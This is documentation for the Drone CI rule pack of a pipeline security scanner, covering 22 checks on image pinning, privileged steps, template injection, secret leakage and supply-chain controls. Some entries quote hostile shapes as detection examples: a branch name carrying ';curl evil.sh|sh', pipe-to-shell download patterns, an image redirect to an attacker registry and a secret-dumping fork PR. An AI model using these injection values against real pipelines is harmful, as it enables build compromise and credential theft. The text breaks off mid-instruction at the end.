Drone CI provider
Parses .drone.yml / .drone.yaml documents on disk. Drone
pipelines are multi-document YAML; each document is a top-level
pipeline gated by a kind: pipeline discriminator and a type:
(docker, kubernetes, ssh, exec, digitalocean).
The rule pack focuses on the container-flavored types
(docker / kubernetes); ssh / exec / digitalocean
pipelines have no container surface and most rules pass-by-default
on them.
Producer workflow
# --drone-path is auto-detected when .drone.yml or .drone.yaml exists at cwd.
pipeline_check --pipeline drone
# ...or pass it explicitly.
pipeline_check --pipeline drone --drone-path .drone.yml
# A directory of services with one .drone.yml each.
pipeline_check --pipeline drone --drone-path services/
All other flags (--output, --severity-threshold, --checks,
--standard, ...) behave the same as with the other providers.
Drone-specific checks
- DR-002,
privileged: trueis a step-scoped switch that removes the container's syscall and capability boundary, giving the step kernel-level access to the agent host. Most workloads reaching for it can use a rootless alternative (buildx,kaniko,buildah); when DR-002 fires, treat it as a build-system review item rather than a quick fix. - DR-003, Drone substitutes
${DRONE_*}template variables before the shell parses the script. Author- controllable variables (DRONE_COMMIT_MESSAGE,DRONE_PULL_REQUEST_TITLE, branch / repo names in fork PRs, tag annotations) are tainted; an unquoted use is a command-injection primitive. Same model as TKN-003 / ARGO-005 / BK-003 in this catalog. - DR-005, plugin steps (steps with a
settings:block) are a sharper attack surface than ordinary steps because Drone passes everysettings:key to the plugin as an env var, including any secret references. The rule fires specifically on plugin steps using a floating image tag, so a maintainer can ratchet plugin pinning up first.
What it covers
22 checks · 2 have an autofix patch (--fix).
| Check | Title | Severity | Fix |
|---|---|---|---|
| DR-001 | Step image not pinned to a digest | HIGH | |
| DR-002 | Step runs with privileged: true | HIGH | |
| DR-003 | Untrusted Drone template variable in shell command | HIGH | |
| DR-004 | Literal credential in step environment / settings | CRITICAL | |
| DR-005 | Plugin step uses a floating image tag | HIGH | |
| DR-006 | TLS verification disabled in step commands | HIGH | 🔧 fix |
| DR-007 | Step mounts a sensitive host path | HIGH | |
| DR-008 | Step uses pull: never (skips registry verification) |
MEDIUM | |
| DR-009 | Cache plugin key embeds an attacker-controllable Drone variable | HIGH | |
| DR-010 | Step commands run unpinned package installs | MEDIUM | |
| DR-011 | node map interpolates attacker-controllable Drone variable | HIGH | |
| DR-012 | Service container image not pinned to digest | HIGH | |
| DR-013 | Pipeline defines no trigger event filter | MEDIUM | |
| DR-014 | Step pipes a remote download into a shell interpreter | HIGH | 🔧 fix |
| DR-015 | Pipeline clone enables recursive submodule cloning | MEDIUM | |
| DR-016 | Step image: field carries a Drone template substitution | HIGH | |
| DR-017 | Dangerous shell idiom (eval, sh -c variable, backtick exec) | HIGH | |
| DR-018 | Secret-named variable echoed / printed in a step command | HIGH | |
| DR-019 | Artifacts not signed (no cosign/sigstore step) | MEDIUM | |
| DR-020 | No SBOM produced (no syft / cyclonedx step) | MEDIUM | |
| DR-021 | No SLSA provenance attestation produced | MEDIUM | |
| DR-022 | No vulnerability-scan step (trivy / grype / snyk) | MEDIUM |
DR-001: Step image not pinned to a digest
Detection mirrors the GL-001 / JF-009 / ADO-009 / CC-003 family: any container image: whose ref doesn't end in @sha256:<64 hex> fires. :latest and missing-tag references emit the strongest message; a specific-version tag (golang:1.21.5) still fires but can be fixed with a one-line digest swap. The rule scopes itself to type: docker / kubernetes pipelines (the container-flavored ones); ssh / exec / digitalocean pipelines have no image: field and pass-by-default.
Known false-positive modes
- Local-build images (
image: my-org/build-tools:devproduced upstream in the same pipeline) sometimes can't be digest-pinned because the digest depends on the build. Suppress via ignore-file scoped to the specific step name when this is the deliberate shape; the floating-tag risk still applies to every public-registry pull.
Recommended action
Pin every step image: (and every services: image) to @sha256:<digest>. Drone resolves the image ref at run time, so a tag like golang:1.21 resolves against whatever the registry currently serves and a compromised registry can swap content under a fixed tag. Capture the digest once with docker buildx imagetools inspect golang:1.21 (or crane digest golang:1.21) and update the digest deliberately when the upstream version moves.
DR-002: Step runs with privileged: true
Drone's privileged: true is a step-scoped switch that maps directly to docker run --privileged. The rule fires on either steps or services declaring the flag. The agent admin can also globally allow / deny privileged steps via the trusted-flag on the repository, the rule doesn't try to reach into Drone's server config and assumes the worst (a malicious or accidentally-trusted repo) so a privileged: true in source is always a finding.
Recommended action
Drop privileged: true from the step. The flag removes the container's syscall and capability boundary, giving the step kernel-level access to the agent host. Most workloads that reach for it are Docker-in-Docker pipelines that can use a rootless alternative (buildx, kaniko, buildah --isolation=chroot) instead. If the workload genuinely needs syscalls, scope down with explicit cap_add: [SYS_ADMIN] and an isolated runner pool, rather than blanket privileged.
DR-003: Untrusted Drone template variable in shell command
User-controllable substitution sources flagged by this rule:
DRONE_COMMIT_MESSAGE/DRONE_COMMIT_AUTHOR*DRONE_PULL_REQUEST_TITLE/DRONE_PULL_REQUEST_BRANCHDRONE_TAG_MESSAGE(tag annotations are author-controlled)DRONE_BRANCH/DRONE_SOURCE_BRANCH/DRONE_TARGET_BRANCH(branch names are pushable, so an attacker can craft a name like;curl evil.sh|sh)DRONE_REPO_*(in fork PRs the repo metadata comes from the fork)
The rule only fires on unquoted uses inside a command body. Quoted ("${DRONE_*}") or single-quoted uses are safe in POSIX shell because the substitution runs after Drone's templating but the shell still tokenizes the expanded value as a single argument. Same model as the Tekton TKN-003 / Argo ARGO-005 / Buildkite BK-003 rules in this catalog.
Known false-positive modes
- Trusted-only Drone variables (
DRONE_BUILD_NUMBER,DRONE_BUILD_STATUS,DRONE_REPO_NAMESPACEfor non-fork repos) aren't user-controllable and are safe to interpolate unquoted. Drone-template syntax can also appear in YAML strings outsidecommands:; this rule only scopes itself to step command bodies, so an unquoted use in (say)settings.message:doesn't fire here, those land under DR-004 / SBOM-style audits.
Recommended action
Treat user-controllable Drone template variables as tainted. Drone substitutes ${DRONE_*} tokens before the shell parses the command, so an unquoted use is a textbook command-injection primitive. The safe pattern is to copy the value into the step's environment: block (MSG: ${DRONE_PULL_REQUEST_TITLE}) and reference the env var quoted in the command (echo "$MSG"). Drone's own docs call out the same hardening for build-message / commit-author fields.
DR-004: Literal credential in step environment / settings
The rule fires on credential-shaped values where the key name suggests a secret (token, password, secret, key, apikey, api_key, access_key, private_key, auth, credentials) and the value is a plain string rather than a {from_secret: NAME} reference. AWS-style AKIA... keys also fire regardless of the key name (matching the AWS canonical access-key shape). Empty strings and the explicit literal null are not flagged: an empty value is a configuration bug, not a leaked credential. Same model as BK-002 / TKN-005 / ARGO-006 in this catalog.
Known false-positive modes
- Configuration values that happen to use a credential-shaped key name but never carry a secret (
DOCKER_CONFIG=/dev/nullto suppress credential loading) sometimes trip this rule. Suppress via ignore-file scoped to the specific step name when this is the deliberate shape; the broader credential-vocab match still catches real leaks elsewhere in the pipeline.
Recommended action
Move every literal credential into a Drone secret (drone secret add --repository OWNER/REPO --name MY_SECRET --value ...) and reference it via the from_secret: mechanism: MY_SECRET: { from_secret: MY_SECRET }. The same applies to plugin settings: blocks. Drone redacts from_secret values from log output but does NOT redact literals, so a pasted token in source ends up in the build log indefinitely.
DR-005: Plugin step uses a floating image tag
Drone treats a step as a plugin when it has a settings: block. The image: field still names the container that runs, and the same supply-chain argument as DR-001 applies; this rule fires specifically on plugin steps using a floating tag (:latest, no tag, or a non-version-shaped tag) rather than every unpinned image, so a maintainer weighing trade-offs can ratchet plugin pinning up first. A pinned-version tag (plugins/docker:20.13.0) passes this rule but still trips DR-001 for the wider supply-chain hardening.
Known false-positive modes
- Internal-registry plugins built and pushed by the same pipeline (
image: my-org/internal-plugin:devproduced upstream) sometimes can't be exact-pinned. Suppress via ignore-file scoped to the specific step name when this is the deliberate shape.
Recommended action
Pin every plugin step's image: to @sha256:<digest> or, at minimum, a specific version tag (plugins/docker:20.13.0 rather than plugins/docker:latest or plugins/docker). Plugin steps are a sharper attack surface than ordinary steps because Drone passes every settings: key to the plugin as an environment variable, including any secret references; a malicious plugin replacement can exfiltrate the entire credential set the step was trusted with.
DR-006: TLS verification disabled in step commands
Uses the cross-provider _primitives.tls_bypass detector shared with GHA-027, BK-008, JF-022, ADO-026, CC-024, GCB-011, and the CFN / Terraform rule packs. Covers curl / wget / git / npm / yarn / pip / helm / kubectl / ssh / docker / maven / gradle / aws bypasses. The rule scans every commands: entry on every step.
Recommended action
Remove TLS-bypass flags from build commands. The most common offenders are curl --insecure / -k / wget --no-check-certificate, pip config set global.trusted-host, npm config set strict-ssl false, and git -c http.sslverify=false. Each exposes the build to TLS-MITM injection of a registry-served payload, which is a textbook supply-chain attack vector. If a registry's certificate is genuinely broken, fix the registry rather than permanently disabling verification, the bypass tends to outlive the broken cert and become a permanent weakness.
DR-007: Step mounts a sensitive host path
Drone's pipeline-level volumes: block accepts either temp: (an ephemeral tmpfs, safe) or host: { path: ... } (a bind mount of the agent's filesystem, the dangerous shape). The rule fires when any pipeline-level volume's host.path matches a sensitive prefix:
/var/run/docker.sock— the canonical Docker-in-Docker escape; equivalent to--privilegedfor container takeover purposes;/var/lib/docker— exposes every image / container on the host;/etc— config + credential files;/proc//sys— host kernel state;/— full host takeover.
The rule fires on the volume declaration, not on step-level mounts. A pipeline that declares a sensitive host volume but no step actually mounts it is still flagged: the declaration alone signals the agent's Drone runner is configured to permit the bind mount, which is itself a risk-shape decision worth review.
Known false-positive modes
- Trusted-only pipelines on a dedicated runner fleet (no fork-PR access, no untrusted contributors) sometimes deliberately mount the Docker socket for image build / push workflows. Suppress via ignore-file when this is the deliberate posture and the runner pool's isolation is documented elsewhere; the rule has no way to know whether
trusted: trueis set on the repo from the pipeline YAML alone.
Recommended action
Drop the host volume from the pipeline. Mounting /var/run/docker.sock from the agent host into a build container hands the container root-equivalent control over every other workload on the same agent (it can spawn arbitrary containers, including privileged ones). /var/lib/docker exposes every image and container on the host, /proc and /sys expose the host kernel state, and / (the host root) is full takeover. If the build genuinely needs Docker, run a rootless alternative (kaniko, buildah --isolation=chroot, docker buildx against a remote builder) or use Drone's trusted: true repo flag plus a dedicated host-isolated runner pool, rather than mounting the shared host's socket.
DR-008: Step uses pull: never (skips registry verification)
Drone supports three pull: policies on a step: always (re-fetch + verify on every build, the default), if-not-exists (use cache when present, otherwise pull), and never (use cache only). The never policy is the dangerous one because it skips the digest verification an always pull would perform, and there's no out-of-band signal that the cached image is the one the manifest names. The rule fires on either steps or services declaring pull: never. pull: if-not-exists is treated as acceptable: it's tolerable when paired with a digest-pinned image: (DR-001) and a deliberate operational decision; the explicit-skip case (never) is what TAINT-class supply-chain attacks lean on.
Known false-positive modes
- Air-gapped or registry-pinned environments sometimes set
pull: neverdeliberately because the agent never has registry access in the first place. Suppress via ignore-file when this is the deliberate shape; the runner's network isolation then carries the integrity guarantee instead of the registry round-trip.
Recommended action
Drop the pull: never directive (or change it to pull: always / pull: if-not-exists). pull: never tells the Drone agent to skip the registry round-trip entirely, so the agent runs whatever image bytes it cached on a previous build without re-verifying the digest. If a compromised image ever landed in the agent's local cache (a poisoned registry tag, a manual docker pull during a debug session, a co-resident workload that pulled a malicious image), the cached bytes keep running until an operator manually clears the cache. pull: always (the Drone default) re-fetches and verifies on every build; pull: if-not-exists is acceptable when the image is digest-pinned (DR-001) so the cache key is content-addressed.
DR-009: Cache plugin key embeds an attacker-controllable Drone variable
Drone has no first-party cache keyword; pipelines use plugin steps (drone-cache, drone-volume-cache, drone-s3-cache, etc.) configured via settings:. The rule fires on any plugin step whose settings.cache_key (or related key, mount, filename, restore_keys) interpolates a tainted Drone variable. Tainted vocabulary mirrors DR-003: $DRONE_BRANCH, $DRONE_PULL_REQUEST*, $DRONE_COMMIT_*MESSAGE, $DRONE_TAG_MESSAGE, and the fork-PR-shaped $DRONE_REPO_* family. The attack model is well-documented (GHA-011 catches the same shape on the GitHub Actions side).
Known false-positive modes
- Plugins that namespace cache reads by branch on the write side and never read across branches (a deliberate cache partitioning) are technically safe, the attacker can poison their own branch's cache but can't reach the trusted-branch one. The rule has no way to verify partition boundaries at scan time; suppress via ignore-file scoped to the specific step name when the partitioning is audited.
Recommended action
Don't embed PR-controlled or branch-controlled Drone variables in cache keys. The canonical safe shape is to key on commit-stable inputs only: a checksum of the lockfile (${DRONE_REPO_BRANCH}-${DRONE_COMMIT_SHA} is unique enough; ${DRONE_BRANCH} alone is attacker-controllable). When two builds need to share a cache, key on the dependency manifest's hash, not on any branch / PR / repo metadata that a fork PR can shape. If a fork PR's cache write can ever be read back by a trusted-context build (the same key on a different branch), the attacker can inject malicious build artifacts into the trusted run.
DR-010: Step commands run unpinned package installs
Detection reuses the cross-provider primitives PKG_INSECURE_RE and PKG_NO_LOCKFILE_RE from checks/base.py. The same rule pack already exists for GHA (GHA-021 / GHA-022), GitLab (GL-021 / GL-022), Bitbucket Pipelines / Azure DevOps / Jenkins / CircleCI / Google Cloud Build / Buildkite / Tekton / Argo. Drone was the missing port; this closes the gap.
Insecure variants matched (PKG_INSECURE_RE): pip --index-url http://, pip --trusted-host, npm --registry http://, gem --source http://, nuget --Source http://, cargo --index http://. Lockfile-bypass variants (PKG_NO_LOCKFILE_RE): npm install (should be npm ci), bare pip install <pkg> without -r or --require-hashes, yarn install without --frozen-lockfile, bundle install without --frozen, cargo install, go install without an @vN.N pin, poetry install without --no-update.
Known false-positive modes
- Bootstrap-stage installs that intentionally pull latest (
apt-get install -y curlfor a tooling image rebuild) sometimes legitimately bypass the lockfile. Suppress via ignore-file scoped to the specific step name when this is the deliberate shape; the broader pinning policy still covers the rest of the pipeline.
Recommended action
Pin every package install to a lockfile or a checksum-verified version. For pip, use pip install --require-hashes -r requirements.txt or -r requirements.txt with hashes baked into the lock; pip install <package> without a version pin or lockfile flag is the unsafe shape. For npm, prefer npm ci over npm install so the lockfile is load-bearing. Yarn: yarn install --frozen-lockfile. Bundle: bundle install --frozen. Cargo / go install: always pin to a tag or commit. Do NOT use --trusted-host / --no-verify / a non-HTTPS index URL — those bypass TLS or trust validation entirely (DR-006 covers the TLS subset; this rule covers the lockfile subset).
DR-011: node map interpolates attacker-controllable Drone variable
Drone substitutes ${VAR} template tokens against the build context before the runner picks an agent. The rule walks the pipeline-level node: map (Drone doesn't expose a per-step variant) for any reference to the same author-controllable variables DR-003 tracks (DRONE_BRANCH, DRONE_TAG, DRONE_PULL_REQUEST_*, DRONE_COMMIT_AUTHOR*, DRONE_COMMIT_MESSAGE, DRONE_REPO).
Detection is value-only and case-sensitive against the documented variable names; trusted server-controlled fields like DRONE_BUILD_NUMBER and DRONE_REPO_NAMESPACE (for non-fork repos) aren't on the tainted list. Closes parity with BK-015 / GHA-036 / GL-032 / JF-032 / ADO-030 / CC-031.
Known false-positive modes
- Some teams use a static prefix plus a CI-controlled tail (
node: { pool: build-${DRONE_REPO_NAME} }) to share a runner pool across repos.DRONE_REPO_NAMEis set by the server, not the pusher, so it isn't on the tainted list, but if your team has its own conventions for trusted Drone vars, suppress on the specific pipeline name.
Recommended action
Pin every node: map entry to a static literal that matches your runner-targeting policy. Drone uses node: to route a pipeline to runners with matching labels (e.g. node: { instance: ci-prod-amd64 }). When the map value interpolates ${DRONE_BRANCH} / ${DRONE_PULL_REQUEST_*} / ${DRONE_COMMIT_AUTHOR}, the pusher gets to pick which runner pool runs the pipeline, including a privileged pool reserved for the deploy step. Production runner pools should also carry a label the agent itself enforces (the runner's DRONE_RUNNER_LABELS env var, plus a server-side policy on which repos can target which labels) so the rule is one layer of defense-in-depth.
DR-012: Service container image not pinned to digest
Iterates services: on every container-flavored pipeline (type: docker / kubernetes) and fires when a service's image: value is missing the @sha256:<digest> immutable-pin suffix. Service containers run with the same network access as the pipeline's steps but are typically left at floating tags (postgres:15, redis:7) because convention follows the application's docker-compose files; the build-time supply-chain risk is identical to DR-001's surface.
Known false-positive modes
- Dev / fixture pipelines that intentionally track the upstream service's latest minor for compatibility testing may legitimately use a tag pin. Suppress per service with a one-line rationale; production-shaped pipelines should not be suppressed.
Seen in the wild
- Mirrors DR-001 / DR-005 (step image / plugin pinning) and BK-001 / TKN-001 / ARGO-001 in the equivalent patterns: every container in the pipeline's blast radius should resolve through an immutable digest, not a floating tag the upstream registry can re-resolve.
Recommended action
Pin every entry under services: to an immutable digest (image: postgres@sha256:<64-hex>). Drone's services: block declares sidecar containers that run alongside the pipeline (databases, message brokers, object stores used by integration tests); they pull from the same registries as steps: containers and share the same patch-release-smuggle exposure window. The existing DR-001 only audits steps:, so a pipeline with SHA-pinned steps and tag-pinned services has half the supply-chain control surface.
DR-013: Pipeline defines no trigger event filter
Fires when trigger: is missing from the pipeline document OR when trigger.event lists pull_request without an offsetting trigger.event.exclude for the same. Pipelines that explicitly opt into PR builds with secret-handling gating (when.event per-step + protected repo flag) are uncatchable from the YAML alone; suppress per pipeline with a one-line rationale when the operator knows the runner configuration.
Distinct from DR-003 (parameter injection at step level): this rule audits the pipeline's event trigger surface; DR-003 audits the step's command substitution surface.
Known false-positive modes
- Dev / fixture pipelines that intentionally run on every event (a CI hygiene smoke test, a markdown linter that's safe on untrusted forks) trip this rule by design. Suppress per pipeline with a rationale naming the intentional event scope.
Seen in the wild
- Drone CI fork-PR token leakage pattern: a pipeline with no
trigger:runs on pull_request events from any fork. A malicious contributor opens a PR that modifies a step to dump$DRONE_NETRC_PASSWORD(or any other CI-injected secret) into the build log; the log is public on Drone's UI; the credential is harvested.
Recommended action
Add a trigger: block scoping every pipeline to the events / branches / refs that should run it. The two high-value patterns are:
-
Trusted-events-only for deploy pipelines:
trigger: event: [push, tag] branch: [main]
-
Deny-fork-PRs explicitly for credential-handling builds:
trigger: event: exclude: [pull_request]
Without trigger:, the pipeline runs on every event Drone supports (push, pull_request, tag, cron, promotion, rollback). Pull requests from forks have access to the pipeline's secret table by default in Drone unless the repository is marked protected at the server level; even with protection, the trigger block is the in-file audit anchor that survives runner-config drift.
DR-014: Step pipes a remote download into a shell interpreter
Walks every commands: array on every step and fires on shell snippets matching one of the canonical pipe-to-shell shapes:
curl ... | shcurl ... | bashwget ... -O - | shwget ... | bashfetch ... | sh(BSD variant)
Pattern recognition allows arbitrary intermediate flags so curl -fsSL <url> | sh -s -- --version=foo still matches. Plain curl <url> > installer.sh && sh installer.sh is NOT caught — the file lands on disk first, which means a checksum-verify step can be inserted between download and execution.
Known false-positive modes
- Some vendor-published install scripts (rustup, nvm, brew install scripts) ship pipe-to-shell as the canonical install path. The rule fires anyway because the upstream's reputation doesn't eliminate the MITM / compromised-domain class of risk. Suppress per step with a one-line rationale naming the upstream and the operator's awareness of the unverified-pull posture.
Seen in the wild
- Codecov bash uploader (April 2021): downstream builds using
curl -fsSL https://codecov.io/bash | bashshipped a tampered uploader for two months. Every CI system without pipe-to-shell detection inherited the compromise; the audit trail relied on the bash scripts' own logging, which the malicious modification could and did suppress. https://about.codecov.io/security-update/
Recommended action
Replace every curl ... | sh / wget ... | bash pattern with a two-step download-and-verify flow:
- Download the artifact to disk:
curl -fsSL -o installer.sh https://example.com/install.sh - Verify a known-good checksum or signature against the downloaded file:
echo "<expected-sha256> installer.sh" | sha256sum -c - - Only then execute:
sh installer.sh.
The pipe-to-shell pattern executes whatever bytes the URL serves at download time, with the step container's privileges. A network MITM, a compromised mirror, or an attacker who briefly takes over the upstream domain drops arbitrary code into the build with no verification step. Pinning the download to an exact version + checksum closes the gap. Mirrors GHA-016 / BK-017 / TKN-008 across providers.
DR-015: Pipeline clone enables recursive submodule cloning
Reads pipeline.clone.recursive and fires when set to true. The default Drone clone behavior (disable: false + recursive absent) is single-level: the top-level repo only, no submodules. Explicit recursive: true opts into the failure mode the rule catches.
Drone's clone plugin runs before any pipeline step, so a malicious .gitmodules lands content on the runner before any user-defined verification can run. Disabling recursive cloning at the pipeline level moves the submodule fetch to an explicit step where URL allowlists and content verification are possible.
Known false-positive modes
- Some monorepo layouts use submodules for shared internal code where the URLs are known-good (github.com/
/ ) and the convenience of recursive cloning outweighs the marginal risk. Suppress per pipeline with a one-line rationale naming the trust boundary of the submodule URLs.
Seen in the wild
- Pattern of
.gitattributes-driven shell hooks executing during recursive clone on CI runners. Documented attacker primitive in git's CVE history (CVE-2017-1000117 et al.). Recursive submodule clone amplifies the surface by pulling content from every URL in the dependency graph, not just the top-level repo.
Recommended action
Disable recursive submodule cloning at the pipeline level. Three remediation patterns:
-
For repos that don't use submodules:
clone: disable: false depth: 50
-
For repos that use submodules but pin them at known commit SHAs:
clone: disable: false recursive: false # default; clone submodules explicitly per-step
-
For repos that genuinely need recursive submodules at clone time, restrict via a custom clone step that verifies the submodule URLs against an allowlist before
git submodule update --init --recursive.
Recursive submodule cloning pulls every .gitmodules-declared dependency at clone time, before any step has a chance to audit the pulled content. If a contributor adds a malicious .gitmodules entry pointing at an attacker-controlled URL, the pull happens with the runner's filesystem privileges. The fetched content can include .gitattributes with filter-driven shell hooks that execute at clone time on Drone's runner.
DR-016: Step image: field carries a Drone template substitution
Walks every image: field (steps + services) and fires when the value contains a ${...} template expression. Drone resolves these against the pipeline's environment + build-context table before image pull, so any variable that's caller-controllable becomes an image-name injection primitive.
Distinct from DR-001 (image not digest-pinned), which audits the immutability shape of the resolved image reference. This rule fires before that resolution can happen: a templated image is unauditable at scan time regardless of whether the resolution happens to land on a digest-pinned shape.
Known false-positive modes
- Some monorepo layouts use Drone template substitution to pick service-team-specific images (
image: ${SERVICE_TEAM}-base:1.0). The rule fires regardless because the resolution-time substitution isn't auditable. Suppress per step / service with a rationale naming the substitution variable's trust source.
Seen in the wild
- Image-name injection pattern: a Drone pipeline with
image: ${DRONE_DEPLOY_TO}-runner:latestis triggered via the Drone API withDRONE_DEPLOY_TO=attacker.registry.example.com/— the resolved image is pulled from the attacker's registry and the runner executes attacker-controlled code. Documented as a real attack surface in audits of self-hosted Drone deployments with public API exposure.
Recommended action
Replace the templated image: value with a literal digest-pinned reference. Drone expands ${DRONE_BUILD_*}, ${DRONE_COMMIT_*}, and other build-context variables before the runner pulls the image — including variables that PR authors or promotion-script operators can influence (DRONE_TAG, DRONE_TARGET_BRANCH, DRONE_DEPLOY_TO, custom promotion parameters). A contributor who controls one of those values can redirect the image fetch to an attacker-controlled registry / tag combination.
If the build genuinely needs to swap images per environment, pin each variant explicitly and select via when: predicates:
steps:
- name: deploy-staging
image: myregistry/deploy:1.2.3@sha256:abc...
when: { branch: [staging] }
- name: deploy-prod
image: myregistry/deploy:1.2.3@sha256:def...
when: { branch: [main] }
The literal image references are immutable; the when: block controls execution without exposing the image identity to PR-controllable input.
DR-017: Dangerous shell idiom (eval, sh -c variable, backtick exec)
Complements DR-003 (untrusted ${DRONE_*} variable in a command). This rule fires on intrinsically risky idioms, eval, sh -c "$X", backtick exec, regardless of whether the input source is currently trusted, because the idiom hands a value full shell-grammar reach. Uses the shared _primitives.shell_eval detector and scans every commands: entry on every step. The Drone analog of GHA-028 / GL-026 / BB-026 / ADO-027 / CC-027 / BK-016.
Known false-positive modes
eval "$(ssh-agent -s)"and similareval "$(<literal-tool>)"bootstrap idioms are intentionally NOT flagged, the substituted command is literal, only its output is eval'd.
Recommended action
Replace eval "$VAR" / sh -c "$VAR" / backtick exec with direct command invocation. Validate or allow-list any value that must feed a dynamic command at the boundary.
DR-018: Secret-named variable echoed / printed in a step command
Scans every commands: entry on every step for a secret-named variable handed to echo / printf / cat / tee, for an env / printenv dump, and for set -x with a secret-named variable in scope (the shared log_leak detector, with GHA-033 / GL-036 / BB-032 / ADO-031 / CC-032 / JF-042 / HARNESS-013). Variable names matching common secret patterns (PASSWORD / TOKEN / SECRET / API_KEY / CREDENTIAL) trigger the rule. Only container-flavored pipelines (which carry a shell command surface) are scanned. The Drone analog of GL-036 / CC-032.
Recommended action
Don't print secret values in step commands. Drone masks the values of named secrets in the log, but only the exact string. Encoded, truncated, or derived forms bypass the mask, and set -x / env / printenv dump the raw value before masking can catch it. Log a boolean instead ([ -n "$TOKEN" ] && echo set || echo unset), and avoid set -x while a credential variable is in scope.
DR-019: Artifacts not signed (no cosign/sigstore step)
Detection mirrors GHA-006 / BK-009 / CC-006 / TKN-009, the shared signing-token catalog (cosign, sigstore, slsa-github-generator, slsa-framework, notation-sign) is searched across every string in the pipeline document. The rule only fires on artifact-producing pipelines (those that invoke docker build / docker push / buildah / kaniko / etc.) so lint / test-only pipelines don't trip it. The Drone analog of BK-009 / TKN-009.
Recommended action
Add a signing step after the build: install cosign in the step image and call cosign sign --yes <repo>@sha256:<digest> so a re-pushed tag can't bypass the signature. Publish the signature alongside the artifact and verify it at consumption time.
DR-020: No SBOM produced (no syft / cyclonedx step)
Detection mirrors GHA-007 / BK-010 / CC-007 / TKN-010, the shared SBOM-token catalog (syft, cyclonedx, spdx, bom, trivy sbom) is searched across every string in the pipeline document. The rule only fires on artifact-producing pipelines (docker build / docker push / buildah / kaniko / etc.) so lint / test-only pipelines don't trip it. The Drone analog of BK-010 / TKN-010.
Recommended action
Generate a Software Bill of Materials as part of the build: run syft <image> -o cyclonedx-json (or cyclonedx / spdx tooling) and publish it alongside the artifact, so consumers can audit the components and respond to new CVEs without rebuilding.
DR-021: No SLSA provenance attestation produced
Detection mirrors GHA-024 / BK-011 / CC-024 / TKN-011, the shared provenance-token catalog (slsa, provenance, in-toto, attestation, cosign attest) is searched across every string in the pipeline document. The rule only fires on artifact-producing pipelines (docker build / docker push / buildah / etc.) so lint / test-only pipelines don't trip it. The Drone analog of BK-011 / TKN-011.
Recommended action
Emit a signed SLSA provenance attestation for the build: use cosign attest --predicate with an in-toto / SLSA predicate, or a provenance generator, so a verifier can confirm which pipeline and source revision produced the artifact.
DR-022: No vulnerability-scan step (trivy / grype / snyk)
Detection mirrors GHA-020 / BK-012 / CC-020 / TKN-012, the shared scanner-token catalog (trivy, grype, snyk, clair, npm audit, pip-audit, etc.) is searched across every string in the pipeline document. Fires on any pipeline that runs no scanner (the build ships without a CVE signal). The Drone analog of BK-012 / TKN-012.
Recommended action
Add a vulnerability-scan step to the build: trivy, grype, snyk, npm audit, or pip-audit over the image or dependency tree, and fail the build on findings above your threshold so known CVEs don't ship to production silently.
Adding a new Drone CI check
- Create a new module at
pipeline_check/core/checks/drone/rules/drNNN_<name>.pyexporting a top-levelRULE = Rule(...)and acheck(pipeline: Pipeline) -> Findingfunction. The orchestrator auto-discoversRULEand callscheckwith thePipeline. - Add a mapping for the new ID in
pipeline_check/core/standards/data/owasp_cicd_top_10.py(and any other standard that applies). - Drop unsafe/safe snippets at
tests/fixtures/per_check/drone/DR-NNN.{unsafe,safe}.ymland add aCheckCaseentry intests/test_per_check_real_examples.py::CASES. - Regenerate this doc: